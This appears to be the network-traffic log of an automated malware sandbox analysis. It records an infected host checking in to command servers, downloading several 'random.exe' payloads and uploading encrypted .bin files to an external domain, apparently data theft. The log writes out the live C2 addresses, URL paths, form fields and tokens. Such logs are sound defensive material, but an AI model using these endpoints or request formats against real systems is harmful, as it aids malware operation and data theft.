Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 2d 2d 0d 0a Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IDHDGDHJEGHIDGDHCGCB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 36 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007603001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 36 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007604001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 36 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007605001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 45 33 30 37 36 31 39 45 44 41 33 35 31 37 33 33 34 39 31 34 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 2d 2d 0d 0a Data Ascii: ------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="hwid"DAE307619EDA3517334914------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="build"mars------IIIECAAKECFHIECBKJDH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 36 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007606001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 465Content-Type: multipart/form-data; boundary=------------------------GT6G5n8a77bBUgMxU2ZS63Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 47 54 36 47 35 6e 38 61 37 37 62 42 55 67 4d 78 55 32 5a 53 36 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 48 61 70 65 6c 65 77 61 6d 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1c 8d 4d ce fd 80 a5 b7 65 8c 4a 30 66 c9 e1 4e 9e b0 03 85 19 a0 53 b7 86 e3 95 52 f9 89 37 06 9f 7c db b3 9d bb f1 13 82 2a 5b 9c 62 03 ca 53 c2 9d fe 44 9b d1 3a 40 e1 62 06 dd 2c d5 32 5e c0 e0 69 fd f3 4d 62 d6 2b 9d 29 15 90 c8 a3 61 b8 2a ed 11 51 65 12 7f c8 4e 0e 4b 99 58 b1 bb f4 03 fd 4a b3 7f 21 e5 88 24 21 17 5e a6 66 18 7d 74 c7 9a 6d da fe 2b ef b2 44 13 03 49 ed 8f 15 35 61 d3 ab 2e 61 fa cc 42 bd fe 05 80 e6 9d 10 b7 c0 e2 73 16 3f d5 3e 9f ef 77 2c 30 52 5a 6b 5f 73 c1 0e c1 9b 91 2d 55 7b 77 9d 71 1c c3 1d 2b 24 ac a4 c6 c9 2a c5 98 eb 43 04 69 cf 47 16 5f 4d fe b9 0e 22 cb 7f 66 4e 6e 78 e7 a1 0b 99 5d 5c 58 0e 78 14 75 d4 7d 70 99 3e 41 0f c3 8c 21 49 89 a8 b9 32 83 3a 40 02 08 f1 47 b7 52 24 cc 22 9c d6 e7 a9 d2 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 47 54 36 47 35 6e 38 61 37 37 62 42 55 67 4d 78 55 32 5a 53 36 33 2d 2d 0d 0a Data Ascii: --------------------------GT6G5n8a77bBUgMxU2ZS63Content-Disposition: form-data; name="file"; filename="Hapelewam.bin"Content-Type: application/octet-streamMeJ0fNSR7\|[bSD:@b,2^iMb+)aQeNKXJ!$!^f}tm+DI5a.aBs?>w,0RZk_s-U{wq+$*CiG_M"fNnx]\Xxu}p>A!I2:@GR$"--------------------------GT6G5n8a77bBUgMxU2ZS63--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 51201Content-Type: multipart/form-data; boundary=------------------------wQgLjbPUbvJno3aPGHmoEcData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 77 51 67 4c 6a 62 50 55 62 76 4a 6e 6f 33 61 50 47 48 6d 6f 45 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 44 75 62 75 68 6f 63 75 6e 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 27 51 95 43 cf 06 e8 b0 d9 dd fa b7 f0 29 ce 7b c2 58 9e 8c f7 12 ab 0f 23 a4 f3 71 09 63 68 2c 93 41 7b 9b 58 7f b5 99 b0 26 a0 fc f1 34 4d cc fe 45 7c 8e 53 dd 83 c5 77 db bb 89 37 12 d9 98 1a 28 4e 8c c8 19 44 10 95 c3 53 2e 81 9b 9f a7 73 e1 8a 5c 40 41 8a 89 c9 29 1a 88 94 f7 1d c2 f9 3d 56 31 0a 7f d4 43 f4 5d 72 5b dd 7d 52 a0 5e 7e da e8 90 05 56 7e ba a3 c6 4e 42 14 41 6b 7f ea 84 c4 0d 29 f5 54 d3 97 49 12 05 f9 55 d7 2a f9 ad 2b 01 df 37 a1 c0 89 b1 d2 97 a2 5e a9 a0 d8 dd cf 68 44 49 79 ea a7 80 a2 25 cd fa ea 6a 14 66 c8 fe f4 77 82 c6 06 45 0d 35 e8 98 6f 5b b4 b2 2b 19 47 e8 7c 38 55 0d e0 76 cd 77 1e 76 f2 d8 b7 db 93 ea 11 9a 6c 1c d7 a9 7a 08 c0 21 93 00 b0 cf a3 89 bd 3a 15 42 ba ae b9 43 b4 95 66 76 9d ce e3 53 be c7 cd b1 a5 79 73 1a 3f 3f 41 ff e2 34 32 7d 82 e6 1a 73 b3 d7 03 f0 a7 be 83 93 81 56 10 12 56 b7 6f 53 5e 88 0c 9b a2 c8 c0 f6 f8 b8 f3 02 71 ea 4a ae 92 4f 2d 90 b5 e2 bd 6b bb ca c5 52 6d 52 21 87 37 32 75 5f 52 6f 0f 22 21 4c e7 95 eb 72 d7 a9 e0 ad 7d 91 1a e3 18 74 6d a1 0d d1 16 c1 8d ea 05 61 10 e1 d7 a2 f7 5c d0 93 23 6d 1e 0a 6c 6e b5 f8 f7 21 71 d0 cd da 5e a7 a7 c9 10 5e d6 70 c5 d1 d5 90 ce 93 d1 f9 b8 a8 27 2b 29 6a 70 65 4c d8 f2 7d 9c e6 c9 06 f6 4d 27 a0 0e f6 82 9c 45 3e cc 09 14 98 3f 8f d0 93 50 77 f6 07 36 48 72 c2 75 1d 76 0d d5 ec 45 b0 e8 1b e7 22 87 73 41 ed b7 a9 7b 92 4e 0c e6 8e 0b 32 b5 ae 6e 01 40 05 c3 6e 68 c5 0b d5 5a b5 b0 c8 5b 94 bd ea 5e d5 c9 42 59 95 69 3d 86 a7 63 97 92 84 8e d0 86 8b dc 06 e7 c7 bf 92 9d c6 d1 d3 07 9c aa 5f 73 73 f3 47 98 71 3f 9a 94 c5 90 96 99 b6 f3 53 8a 50 b0 1d 3d 70 cf 96 5e 22 5e 94 d3 aa 75 45 f9 11 d8 f7 17 e7 2c e7 25 5e 3c 8b 01 30 a2 fa 41 5c 13 e3 45 13 7c 1c f0 da 92 63 60 24 2d 6c be 4f 8c ab 9d 8f 07 34 93 d6 93 81 40 05 e8 2a 5d 9f 3f 66 d7 9b d0 ba e7 8a 6b e3 71 ab 9b c1 0a 9c 29 79 20 f6 bf 35 e5 af e1 b6 d1 c0 7b 22 36 9d 18 2c 09 23 31 76 ad 9e 2c 91 a4 f1 f3 bd 82 4d 41 e0 c0 56 99 10 f7 81 38 b4 a3 a0 5e 1d 6a 4e 71 b6 fc fb d1 cd 70 7b 49 c6 64 9d 22 34 73 55 0f b6 84 2e 81 bb 8b d0 92 ce 06 45 7e ec 21 45 8a 2d 9d ad 92 5a fa 14 d8 ab ff 72 98 09 4f 56 38 c5 ea 76 ca ee 71 24 a3 5e 16 da 25 80 13 07 44 af 7e 01 04 8f 9b 02 2c 00 84 42 10 12 69 0a 47 3e 8b 33 df ff ab ce 4c ed 1d 8c 86 1c de 33 52 c6 f3 97 7d 38 03 9d 4e f4 f9 b8 44 8a 13 e1 20 e5 83 ff 38 e8 02 87 c3
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 36 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007607001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 35735Content-Type: multipart/form-data; boundary=------------------------ZozPvyvtw7GhyzEAsXLLL3Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 5a 6f 7a 50 76 79 76 74 77 37 47 68 79 7a 45 41 73 58 4c 4c 4c 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 57 65 73 69 79 6f 7a 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 87 50 2d 18 97 78 1e 6d a5 65 13 1e 5b ed 5e a5 15 ad 2d 5d 2b d6 7d 27 32 0f 7e e7 65 d3 1e ab 74 4d 79 0b 7c 01 9d c3 d3 3f 6a 4b 89 df a9 64 92 f8 00 fc ce 38 da 48 ef fc b6 7f fa 32 98 50 fb e5 a6 6e 5b aa 35 5a af 58 cd f7 37 30 a7 72 05 19 34 a7 f8 ef 47 15 dd 79 40 a4 7a ca e2 73 56 4c 8f 56 56 a8 3b 6f e0 6b 10 5b 59 7e 6b 72 4e a7 50 0a fb 09 00 32 58 6e 45 ea 8c bd 45 22 14 cd 45 7c 77 82 32 75 b0 f5 a2 eb fd 25 86 9a 8b 5f 90 36 7c 9d 7e e8 36 5a c5 97 94 63 dc 67 e5 36 68 93 30 22 8d 8f 9a cf 95 ba a2 34 de fa 0b b0 c2 57 ee 8e ad 3e 89 e2 34 98 98 e0 4b cf d1 3d be 30 17 c5 87 5e 23 30 95 8f b8 c5 f3 4e 1f ac 5a be 58 94 f3 0c f3 7c f9 f8 1f 3d 67 a8 31 42 06 9f 45 b6 d7 ca 0d 50 6a 75 08 7a 5a 7d d7 a5 91 81 2d 81 e4 e1 cf bb e0 4c eb 66 d3 19 9d fb 73 ea 52 7c a8 b2 ae 3f 79 2c 56 b6 d6 1c 17 f4 56 d9 01 f6 65 3b e4 a4 43 1c e1 6c 38 d7 03 6e dd 66 05 ea d5 7e 71 3a 56 5d c8 16 08 8d dd fb d0 23 df 81 df f8 24 2a 60 9b dd c6 31 f1 b9 37 85 96 6b 55 d7 3e bc cc fd 67 1a 61 70 f7 3e 19 ea 12 f5 6e ac ad d0 1a ae e5 56 f5 8b 06 2f cf 06 36 99 1c 44 a3 0f 53 38 aa eb fd 3f 2f b8 3a 99 52 d6 f9 a3 5b f0 c4 a9 e8 ca 27 d9 7d 12 8e 7c 57 b2 86 f1 5f a6 a9 a4 fe 21 24 04 47 4c 7d 84 fb d3 53 40 f7 41 35 51 3c 46 59 a9 55 e3 df 76 e5 98 3c fe 14 f4 89 c5 40 4f 49 be 16 b2 c5 fd 49 09 80 82 4a f8 9b 6c e1 14 b0 93 41 4f 95 11 a4 32 3c 82 3b f6 08 42 1d 5a 1b 4b c4 b3 1d 74 12 40 03 56 16 72 09 7d 18 ba 57 85 d4 4c a6 c3 96 26 c3 e5 91 3c 44 6e ea 3e b2 4b 3f bd b7 9b 3f ad d7 2e 5a d4 fa bf 07 90 07 0b 5e 48 5d db 9e 89 35 40 2e df 0a 05 de 12 1d 69 c5 27 f0 c9 8c 67 19 20 11 32 bd 4d 5a ae 4c 45 f0 00 c5 e9 a0 87 fb 47 ff 87 1b 7a 85 74 62 0d d0 6d 37 1f 61 e5 e8 8c 76 99 3d 5c df e8 7b 53 4b d4 67 f0 7e 09 ad b4 db 82 15 8d 90 30 c2 07 80 ed d7 30 5f 22 4c 75 f3 16 04 f8 5b fc 6c 89 24 48 9a c2 c4 07 4d d0 25 88 95 25 21 d5 a2 87 c2 5e 44 b2 fe 4c 69 11 e9 00 86 2f ae 7f 05 83 c5 87 4c b1 9f d5 7e 8a 68 bc 92 d5 02 ee 6d c2 2d 1b ff 28 f6 c4 92 af 10 88 9c bf 65 c5 2c ee 3f 33 be d2 96 a1 4c a0 32 9c 26 3d a3 e3 5c 65 60 02 0a 2f 9e a3 d6 9a c4 b3 e6 b1 ff 80 08 49 ec e8 c0 a2 0b 69 df 18 59 a5 5d 2f 69 30 09 4e a7 bd 45 5d ce de c6 c9 d0 8c e3 35 59 85 6e a4 7b cc 4a a9 54 fd 33 5b c6 c9 52 00 34 65 c8 49 d4 55 3a 21 29 78 c2 47 65 52 3b c4 c6 ed ec 01 19 32 c7 5c ea 2a 66 57 90
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 45 33 30 37 36 31 39 45 44 41 33 35 31 37 33 33 34 39 31 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 2d 2d 0d 0a Data Ascii: ------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="hwid"DAE307619EDA3517334914------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="build"mars------IDGIJEGHDAECAKECAFCA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
